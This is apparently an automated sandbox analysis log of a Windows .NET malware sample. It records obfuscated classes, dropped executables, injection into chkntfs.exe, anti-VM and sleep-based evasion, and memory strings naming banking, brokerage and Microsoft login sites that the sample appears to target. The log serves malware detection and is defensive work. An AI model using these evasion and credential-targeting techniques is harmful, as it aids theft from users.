Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, TBtgc3RMhuEWiOKVR4.cs	High entropy of concatenated method names: 'egswajbaVY', 'cI1wEpsEqf', 'qcZwJFrFUR', 'l1YwgmGbGs', 'Sodw34CUk5', 'bFCwsxrnQO', 'WF6wvUn4m1', 'vabwnQGZZg', 'GqLwXY8ZpD', 'ceDwdohG9Y'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, CewcDn534jkjemavqx.cs	High entropy of concatenated method names: 'J0JMP8YQfq', 'HEgMbUQjhV', 'y1nQpUJpyp', 'A4PQkS1uVG', 'LdwMWd7ICC', 'wNYMESTP6d', 'RyBMCGC67l', 'cgPMJKvxVT', 'loHMgDshgT', 'yg6M0EBnwL'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, G48YiXYv5ISrKQh5V0.cs	High entropy of concatenated method names: 'jJN5kaPtFu', 'UBM5GPIoC4', 'ODC59X6gti', 'TlI5FITjRb', 'uiE5rTvv02', 'sd75Hw6GaC', 'nVt5DHWvHh', 'n7kQuQ23NT', 'Jy3QPB6Xd9', 'uZ2QNGCgXA'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, TFHvvsv69ePy2X2akQ.cs	High entropy of concatenated method names: 'iJXL7lTqJ9', 'maILAdWG0a', 'IiXLq8WqvM', 'YbBLf77yHd', 'tkYLBX3Fif', 'gy3LhPP8QE', 'zVcLyJ9Yju', 'ubCL1soCsj', 'XYKLOkX7S1', 'cV6LoYePct'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, UDhf94o4ucAkwsm0sp.cs	High entropy of concatenated method names: 'f9Rq1yG0W', 'DJbff0drL', 'jEPhaTbqd', 'HujyEE1R5', 'BPrOP1NtM', 'morovODBF', 'UU6sQ30jGZyjNwuV8k', 'nEQFSL3NunNHbZ1dat', 'xSYQDvHlW', 'poTIxWtte'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, A297vOAUIe0qEnXTYd.cs	High entropy of concatenated method names: 'a9RrJNeYXU', 'K1Srg9mrKb', 'sf2r0xMadb', 'IQGrxa8AMT', 'pYyrmi7rBU', 'YvSrVfti0n', 'TrZrusOxQa', 'IAIrP1kaHt', 'hftrNMcGHt', 'wr9rbncfjd'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, EN7XnI15c37fuU7Hp5.cs	High entropy of concatenated method names: 'Y1hKfIOBtc', 'HjfKhcGKVf', 'LmoK1u0bTe', 'rngKOZldVQ', 'gbkKwfKbBL', 'rTHKZPaN6C', 'YRqKMiTl2T', 'CySKQT76gS', 'GoZK5G6d6Y', 'KWoKIRYuml'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, qLqlDin0qbgjcnfC3W.cs	High entropy of concatenated method names: 'TfsQTjjKJy', 'jrbQ3fEcoN', 'pZcQsKNQ2P', 'zt7QvEfapE', 'S9KQJNCHAY', 'A9QQnE9cdG', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, xKGw5U4U0dqk7yQy8K9.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'YM7IJqfRhK', 'WQPIgbFdNh', 'wTRI0DQ9Jn', 'WgqIxEvbOn', 'D8PImwMxwd', 'BmGIVGAro0', 'FiBIueQYcf'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, Wn4fI4CGsHeONDg1CJ.cs	High entropy of concatenated method names: 'X4IMcGj8cE', 'lDVMeNSyeu', 'ToString', 'O3jMFF67iv', 'mI5MrppEig', 'mllMKytvtK', 'ktmMHB14FW', 'uwdMDWoxtY', 'YhsMLGn6OQ', 'pd7MtIZZld'
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, n0j6khafNtyqP9fmV3.cs	High entropy of concatenated method names: 'Dispose', 'CK8kNrAsoW', 'u2r832ZQLk', 'LjPjjd69Fv', 'FRpkbSRatW', 'zSxkzCKGgd', 'ProcessDialogKey', 'ge08pewQR9', 'd8G8ksYKn8', 'HMo880mafZ'

Source: C:\Windows\SysWOW64\chkntfs.exe	File created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\chkntfs.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\EuOdzX7Ehz6t1H3[1].exe			Jump to dropped file

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: aj34fjqh.exe PID: 6180, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FFB2CECDA44

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 2680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 7380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 8380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 8620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory allocated: 9620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 1760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 3150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 2F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 8720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 9720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: 98F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory allocated: A8F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Code function: 3_2_012E096E rdtsc

3_2_012E096E

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 239874	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 239765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe	Window / User API: threadDelayed 9823			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Window / User API: threadDelayed 912			Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\chkntfs.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe TID: 5896	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 7836	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 7836	Thread sleep time: -298000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 7836	Thread sleep count: 9823 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 7836	Thread sleep time: -19646000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe TID: 7880	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe TID: 7880	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe TID: 7880	Thread sleep time: -39000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe TID: 7880	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe TID: 7880	Thread sleep time: -46500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 3492	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 3492	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 3492	Thread sleep time: -239874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 3492	Thread sleep time: -239765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 2376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe TID: 7716	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe

Code function: 14_2_005ABE80 FindFirstFileW,FindNextFileW,FindClose,

14_2_005ABE80

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 239874	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 239765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: j77tfG6.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: j77tfG6.14.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: j77tfG6.14.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: chkntfs.exe, 0000000E.00000002.3694875633.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3709837557.00000000079D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: j77tfG6.14.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: j77tfG6.14.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: firefox.exe, 00000012.00000002.1724397618.000002B134CBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: j77tfG6.14.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: j77tfG6.14.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: j77tfG6.14.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: j77tfG6.14.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: j77tfG6.14.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: xQUrWfQeELsQZII.exe, 00000010.00000002.3704528727.000000000163F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
Source: j77tfG6.14.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: j77tfG6.14.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: j77tfG6.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: j77tfG6.14.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: j77tfG6.14.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: j77tfG6.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: j77tfG6.14.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Process information queried: ProcessInformation

